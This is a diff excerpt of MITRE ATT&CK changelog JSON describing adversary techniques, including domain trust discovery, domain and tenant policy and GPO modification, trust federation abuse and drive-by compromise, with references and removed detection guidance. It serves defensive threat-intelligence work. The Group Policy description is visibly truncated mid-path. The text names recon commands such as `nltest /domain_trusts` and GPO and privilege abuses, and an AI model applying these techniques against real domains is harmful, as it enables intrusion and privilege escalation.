notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1053: Data Backup"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0016: Drive (Drive Access)",
+ "DS0016: Drive (Drive Modification)",
+ "DS0017: Command (Command Execution)",
+ "DS0027: Driver (Driver Load)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0297: Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-02-14 16:15:05.974000+00:00",
+ "modified": "2025-10-24 17:48:58.061000+00:00",
+ "name": "Domain Trust Discovery",
+ "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1482",
+ "external_id": "T1482"
+ },
+ {
+ "source_name": "Microsoft Operation Wilysupply",
+ "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.",
+ "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/"
+ },
+ {
+ "source_name": "AdSecurity Forging Trust Tickets",
+ "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.",
+ "url": "https://adsecurity.org/?p=1588"
+ },
+ {
+ "source_name": "Microsoft Trusts",
+ "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)"
+ },
+ {
+ "source_name": "Microsoft GetAllTrustRelationships",
+ "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.",
+ "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships"
+ },
+ {
+ "source_name": "Harmj0y Domain Trusts",
+ "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.",
+ "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Dave Westgard",
+ "Elia Florio, Microsoft",
+ "Mnemonic",
+ "RedHuntLabs, @redhuntlabs",
+ "ExtraHop"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Script: Script Execution\", \"Network Traffic: Network Traffic Content\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.061000+00:00\", \"old_value\": \"2025-04-15 22:22:35.004000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1030: Network Segmentation",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0007: Detection of Domain Trust Discovery via API, Script, and CLI Enumeration"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-03-07 14:10:32.650000+00:00",
+ "modified": "2025-10-24 17:49:33.897000+00:00",
+ "name": "Domain or Tenant Policy Modification",
+ "description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1484",
+ "external_id": "T1484"
+ },
+ {
+ "source_name": "CISA SolarWinds Cloud Detection",
+ "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
+ "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
+ },
+ {
+ "source_name": "ADSecurity GPO Persistence 2016",
+ "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
+ "url": "https://adsecurity.org/?p=2716"
+ },
+ {
+ "source_name": "Microsoft 365 Defender Solorigate",
+ "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.",
+ "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"
+ },
+ {
+ "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
+ "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
+ "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
+ },
+ {
+ "source_name": "Microsoft - Update or Repair Federated domain",
+ "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
+ "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
+ },
+ {
+ "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
+ "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.",
+ "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
+ },
+ {
+ "source_name": "Okta Cross-Tenant Impersonation 2023",
+ "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
+ "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
+ },
+ {
+ "source_name": "Wald0 Guide to GPOs",
+ "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
+ "url": "https://wald0.com/?p=179"
+ },
+ {
+ "source_name": "Harmj0y Abusing GPO Permissions",
+ "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
+ "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
+ },
+ {
+ "source_name": "Sygnia Golden SAML",
+ "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
+ "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Obsidian Security"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Identity Provider"
+ ],
+ "x_mitre_version": "3.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Deletion\", \"Active Directory: Active Directory Object Creation\", \"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.897000+00:00\", \"old_value\": \"2025-04-15 19:59:19.033000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n\\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n-\\n-Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)\"}}}",
+ "previous_version": "3.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0026: Active Directory (Active Directory Object Creation)",
+ "DS0026: Active Directory (Active Directory Object Deletion)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0270: Detection of Domain or Tenant Policy Modifications via AD and Identity Provider"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-12-28 21:50:59.844000+00:00",
+ "modified": "2025-10-24 17:48:50.475000+00:00",
+ "name": "Group Policy Modification",
+ "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1484/001",
+ "external_id": "T1484.001"
+ },
+ {
+ "source_name": "Mandiant M Trends 2016",
+ "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
+ },
+ {
+ "source_name": "ADSecurity GPO Persistence 2016",
+ "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
+ "url": "https://adsecurity.org/?p=2716"
+ },
+ {
+ "source_name": "Microsoft Hacking Team Breach",
+ "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.",
+ "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/"
+ },
+ {
+ "source_name": "Wald0 Guide to GPOs",
+ "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
+ "url": "https://wald0.com/?p=179"
+ },
+ {
+ "source_name": "Harmj0y Abusing GPO Permissions",
+ "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
+ "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
+ },
+ {
+ "source_name": "Harmj0y SeEnableDelegationPrivilege Right",
+ "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.",
+ "url": "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/"
+ },
+ {
+ "source_name": "TechNet Group Policy Basics",
+ "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
+ "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_contributors": [
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+ "Tristan Bennett, Seamless Intelligence"
+ ],
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+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Creation\", \"Active Directory: Active Directory Object Modification\", \"Active Directory: Active Directory Object Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.475000+00:00\", \"old_value\": \"2025-04-15 19:58:34.774000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\\n\\n* Event ID 5136 - A directory service object was modified\\n* Event ID 5137 - A directory service object was created\\n* Event ID 5138 - A directory service object was undeleted\\n* Event ID 5139 - A directory service object was moved\\n* Event ID 5141 - A directory service object was deleted\\n\\n\\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).\", \"diff\": \"--- \\n+++ \\n@@ -1,10 +0,0 @@\\n-It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\\n-\\n-* Event ID 5136 - A directory service object was modified\\n-* Event ID 5137 - A directory service object was created\\n-* Event ID 5138 - A directory service object was undeleted\\n-* Event ID 5139 - A directory service object was moved\\n-* Event ID 5141 - A directory service object was deleted\\n-\\n-\\n-GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).\"}}}",
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+ "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "external_id": "T1484.002"
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+ {
+ "source_name": "AWS RE:Inforce Threat Detection 2024",
+ "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
+ "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
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+ "source_name": "CISA SolarWinds Cloud Detection",
+ "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
+ "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
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+ "source_name": "AADInternals zure AD Federated Domain",
+ "description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.",
+ "url": "https://o365blog.com/post/federation-vulnerability/"
+ },
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+ "source_name": "Microsoft - Azure AD Federation",
+ "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed"
+ },
+ {
+ "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
+ "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
+ "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
+ },
+ {
+ "source_name": "Microsoft - Update or Repair Federated domain",
+ "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
+ "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
+ },
+ {
+ "source_name": "Okta Cross-Tenant Impersonation 2023",
+ "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
+ "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
+ },
+ {
+ "source_name": "Sygnia Golden SAML",
+ "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
+ "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
+ }
+ ],
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+ "shared": [],
+ "new": [
+ "DET0458: Detection of Trust Relationship Modifications in Domain or Tenant Policies"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:49:28.067000+00:00",
+ "name": "Drive-by Compromise",
+ "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://attack.mitre.org/techniques/T1204). By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.(Citation: Push notifications - viruspositive)(Citation: push notification -mcafee)(Citation: push notifications - malwarebytes)\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.",
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+ "phase_name": "initial-access"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1189",
+ "external_id": "T1189"
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+ "source_name": "Shadowserver Strategic Web Compromise",
+ "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
+ "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
+ },
+ {
+ "source_name": "push notification -mcafee",
+ "description": "Craig Schmugar. (2021, May 17). Scammers Impersonating Windows Defender to Push Malicious Windows Apps. Retrieved March 14, 2025.",
+ "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/"
+ },
+ {
+ "source_name": "Push notifications - viruspositive",
+ "description": "Gaurav Sethi. (2021, December 14). The Dark Side of Web Push Notifications. Retrieved March 14, 2025.",
+ "url": "https://viruspositive.com/resources/blogs/the-dark-side-of-web-push-notifications"
+ },
+ {
+ "source_name": "push notifications - malwarebytes",
+ "description": "Pieter Arntz. (2019, January 22). Browser push notifications: a feature asking to be abused. Retrieved March 14, 2025.",
+ "url": "https://www.malwarebytes.com/blog/news/2019/01/browser-push-notifications-feature-asking-abused"
+ }
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+ "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
+ "Frank Angiolelli"
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+ "x_mitre_detection": "",
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+ "Linux",
+ "macOS",
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.067000+00:00\", \"old_value\": \"2025-04-15 19:59:12.900000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n\\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n\\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n-\\n-Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n-\\n-Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\"}}}",
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+ "M1021: Restrict Web-Based Content",
+ "M1048: Application Isolation and Sandboxing",
+ "M1050: Exploit Protection",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
